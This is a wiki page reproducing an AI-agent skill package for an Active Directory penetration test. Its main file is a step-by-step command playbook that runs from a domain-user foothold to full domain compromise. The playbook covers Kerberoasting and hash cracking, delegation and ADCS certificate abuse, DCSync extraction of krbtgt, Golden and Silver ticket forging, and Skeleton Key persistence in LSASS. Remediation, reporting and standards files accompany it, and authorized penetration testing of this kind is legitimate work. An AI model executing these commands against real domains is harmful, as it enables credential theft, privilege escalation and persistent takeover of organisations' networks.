performing-active-directory-penetration-test skill (Anthropic-Cybersecurity-Skills)

From Public Agent Wiki

What it does. Conduct a focused Active Directory penetration test using BloodHound, Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Upstream mukul975/Anthropic-Cybersecurity-Skills
Skill file skills/performing-active-directory-penetration-test/SKILL.md
License Apache-2.0 (skill folder LICENSE)
Author mukul975
Fetched 2026-09-10

Install

  • npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-active-directory-penetration-test, or copy the skill folder into ~/.claude/skills/performing-active-directory-penetration-test/.
  • Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-penetration-test/SKILL.md

SKILL.md (verbatim)

name: performing-active-directory-penetration-test
description: Conduct a focused Active Directory penetration test using BloodHound,
  Impacket, Certipy, Rubeus, and NetExec to enumerate domain objects, discover attack
  paths, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate
  domain compromise. Use when running an authorized AD pentest from a standard domain
  user foothold toward Domain Admin or Enterprise Admin.
domain: cybersecurity
subdomain: penetration-testing
tags:
- active-directory
- BloodHound
- Kerberoasting
- Impacket
- DCSync
- ADCS
- domain-compromise
- privilege-escalation
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.RA-01
- ID.RA-06
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1068

Performing Active Directory Penetration Test

Overview

Active Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.

When to Use

  • When conducting security assessments that involve performing active directory penetration test
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Standard domain user credentials (minimum starting point)
  • Network access to domain controllers (LDAP/389, Kerberos/88, SMB/445, DNS/53)
  • Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz
  • Kali Linux or Windows attack machine with domain access

Phase 1 — AD Enumeration

Domain Information Gathering

# Basic domain enumeration
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users

# LDAP enumeration — domain controllers
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName

# Enumerate trust relationships
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts

# Enumerate domain password policy
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol

# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords

# Find computers with unconstrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
  dNSHostName

# Find users with constrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
  sAMAccountName msds-allowedtodelegateto

# Enumerate LAPS
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps

BloodHound Attack Path Analysis

# Collect all BloodHound data
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
  -ns 10.0.0.5 -c all --zip

# Alternative: SharpHound from Windows
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip

# Start BloodHound
sudo neo4j start
bloodhound --no-sandbox

# Key Cypher queries in BloodHound:
# - Shortest path to Domain Admin
# - Find Kerberoastable users
# - Find AS-REP Roastable users
# - Find users with DCSync rights
# - Find shortest path from owned principals
# - Find computers where Domain Users are local admin

Service Account Discovery

# Find service accounts with SPNs (Kerberoastable)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5

# Find accounts without Kerberos pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
  -dc-ip 10.0.0.5 -format hashcat

# Find managed service accounts
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
  sAMAccountName msDS-GroupMSAMembership

Phase 2 — Kerberos Attacks

Kerberoasting

# Extract TGS tickets for service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
  -outputfile kerberoast.txt -request

# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force

# Targeted Kerberoasting with Rubeus (Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt

AS-REP Roasting

# Target accounts without pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
  -outputfile asrep.txt -format hashcat

# Crack AS-REP hashes (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberos Delegation Attacks

# Unconstrained delegation — extract TGTs from memory
# If you compromise a host with unconstrained delegation:
.\Rubeus.exe monitor /interval:5 /nowrap
# Force authentication from DC using PrinterBug/SpoolSample
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>

# Constrained delegation — S4U abuse
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
  -dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@fileserver.corp.local' -k -no-pass

# Resource-Based Constrained Delegation (RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
  -computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
  -dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
  -impersonate administrator -dc-ip 10.0.0.5

Phase 3 — ADCS (Active Directory Certificate Services) Attacks

# Enumerate ADCS with Certipy
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \
  -vulnerable -stdout

# ESC1 — Vulnerable certificate template (enrollee can specify SAN)
certipy req -u 'testuser@corp.local' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template VulnerableWebServer -upn administrator@corp.local

# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5

# ESC4 — Template ACL misconfiguration
# Modify template to enable ESC1 conditions, then exploit as above

# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
certipy req -u 'testuser@corp.local' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template User -upn administrator@corp.local

# ESC8 — NTLM relay to HTTP enrollment endpoint
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
  -template DomainController

Phase 4 — Domain Privilege Escalation

DCSync Attack

# DCSync — extract all domain hashes (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' -just-dc

# DCSync specific user
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' \
  -just-dc-user krbtgt

# With Mimikatz (Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt

Golden Ticket

# Create Golden Ticket (requires krbtgt hash and domain SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@dc01.corp.local' -k -no-pass

# With Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
  /sid:S-1-5-21-... /krbtgt:<hash> /ptt

Silver Ticket

# Create Silver Ticket for specific service
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local -spn MSSQL/sqlserver.corp.local administrator

export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass

Phase 5 — Persistence Demonstration

# Skeleton Key (inject into LSASS — authorized testing only)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# Now any user can authenticate with "mimikatz" as password

# AdminSDHolder persistence
# Add controlled user to AdminSDHolder ACL
# SDProp process propagates ACL to all protected groups every 60 minutes

# SID History injection
# Inject Domain Admin SID into low-privilege user's SID history

# Document all persistence mechanisms and clean up after testing

Findings and Remediation

Finding CVSS Remediation
Kerberoastable accounts with weak passwords 7.5 Use gMSA, enforce 25+ char passwords for service accounts
Unconstrained delegation on servers 8.1 Remove unconstrained delegation, use constrained or RBCD
Vulnerable ADCS templates (ESC1-ESC8) 9.8 Audit templates, remove dangerous permissions, require approval
DCSync permissions on non-DA accounts 9.8 Audit replication rights, implement tiered admin model
LLMNR/NBT-NS enabled 8.1 Disable via GPO
No LAPS deployed 7.2 Deploy Windows LAPS for local admin management
Weak domain password policy 6.5 Enforce 14+ chars, implement fine-grained password policies

References

Other files in this skill

assets/template.md (verbatim)

Active Directory Penetration Test — Report Template

Document Control

Field Value
Domain [corp.local]
Test Type Active Directory Security Assessment
Starting Access Standard Domain User
Period [Start] — [End]

Executive Summary

[Summary of AD security posture, key attack paths discovered, and domain compromise status]

Attack Path Diagram

testuser (Domain User)
  → Kerberoasting svc_sql (T1558.003)
    → Cracked password: "SqlServer2024!"
      → Local admin on SQL01 (T1078)
        → Mimikatz LSASS dump (T1003.001)
          → DA credentials: da_admin
            → DCSync all hashes (T1003.006)
              → FULL DOMAIN COMPROMISE

Findings

Finding [N]: [Title]

Attribute Detail
Severity [Critical/High/Medium/Low]
MITRE ATT&CK [Technique]
Affected [Accounts/Systems]
Remediation [Fix]

Remediation Priority

# Action Timeline
1 Deploy gMSA for service accounts 2 weeks
2 Fix ADCS vulnerable templates 1 week
3 Implement tiered admin model 30 days
4 Enable LAPS 30 days

references/api-reference.md (verbatim)

Active Directory Penetration Test - API Reference

ldap3 Library

Connection

from ldap3 import Server, Connection, ALL, SUBTREE
server = Server("ldaps://dc.example.com", get_info=ALL, use_ssl=True)
conn = Connection(server, user="DOMAIN\\user", password="pass", auto_bind=True)

Key LDAP Queries

Purpose Filter
All users (&(objectClass=user)(objectCategory=person))
Users with SPNs (&(objectClass=user)(servicePrincipalName=*))
AS-REP Roastable (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
Domain admins (&(objectClass=group)(cn=Domain Admins))
Password policy (objectClass=domain)

UserAccountControl Flags

Flag Hex Test
ACCOUNTDISABLE 0x0002 Account disabled
PASSWD_NOTREQD 0x0020 No password required
DONT_EXPIRE_PASSWORD 0x10000 Password never expires
DONT_REQ_PREAUTH 0x400000 No Kerberos pre-auth

Impacket Tools

GetUserSPNs (Kerberoasting)

python3 -m impacket.examples.GetUserSPNs DOMAIN/user:pass -dc-ip 10.0.0.1 -request

GetNPUsers (AS-REP Roasting)

python3 -m impacket.examples.GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.0.0.1

secretsdump (Credential Extraction)

python3 -m impacket.examples.secretsdump DOMAIN/admin:pass@10.0.0.1

Attack Techniques

Kerberoasting

  1. Enumerate users with SPNs via LDAP
  2. Request TGS tickets for those SPNs
  3. Extract ticket hashes
  4. Crack offline with hashcat (mode 13100)

AS-REP Roasting

  1. Find accounts with pre-auth disabled
  2. Request AS-REP without authentication
  3. Extract encrypted part of AS-REP
  4. Crack offline with hashcat (mode 18200)

Password Policy Weaknesses

  • Min length < 12 characters
  • No account lockout threshold
  • No password history enforcement
  • Password never expires on service accounts

Output Schema

{
  "report": "ad_penetration_test",
  "domain_info": {"default_naming_context": "DC=example,DC=com"},
  "total_users": 500,
  "total_findings": 12,
  "severity_summary": {"critical": 1, "high": 8, "medium": 3}
}

CLI Usage

python agent.py --server ldaps://dc.example.com --username "DOMAIN\\user" --password "pass" --output report.json

references/standards.md (verbatim)

Standards — Active Directory Penetration Testing

Key Frameworks

MITRE ATT&CK Techniques for AD Testing

Technique ID Description
Kerberoasting T1558.003 Steal Kerberos TGS tickets for offline cracking
AS-REP Roasting T1558.004 Target accounts without pre-auth
DCSync T1003.006 Replicate domain credentials via DRSUAPI
Golden Ticket T1558.001 Forge TGT using krbtgt hash
Pass-the-Hash T1550.002 Authenticate using NTLM hash
Unconstrained Delegation T1558 Abuse delegation to steal TGTs
ADCS Abuse T1649 Exploit misconfigured certificate templates

AD Security Benchmarks

  • CIS Microsoft Windows Server Benchmark
  • STIG (Security Technical Implementation Guide) for Windows
  • Microsoft Security Compliance Toolkit

references/workflows.md (verbatim)

Workflows — Active Directory Penetration Testing

AD Attack Flow

Domain User Credentials
    │
    ├── Enumeration
    │   ├── BloodHound (attack paths)
    │   ├── LDAP queries (users, groups, GPOs)
    │   └── Service account discovery (SPNs)
    │
    ├── Kerberos Attacks
    │   ├── Kerberoasting → Hash cracking
    │   ├── AS-REP Roasting → Hash cracking
    │   └── Delegation abuse (unconstrained/constrained/RBCD)
    │
    ├── ADCS Attacks
    │   ├── ESC1-ESC8 template exploitation
    │   └── Certificate-based auth to DA
    │
    ├── Credential Harvesting
    │   ├── LSASS dump (Mimikatz)
    │   ├── SAM/SYSTEM extraction
    │   └── DPAPI credential decryption
    │
    ├── Domain Escalation
    │   ├── DCSync (krbtgt + all hashes)
    │   ├── Golden Ticket
    │   └── AdminSDHolder persistence
    │
    └── Impact Demonstration
        ├── Full domain hash extraction
        ├── Access to sensitive resources
        └── Cross-forest trust abuse

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.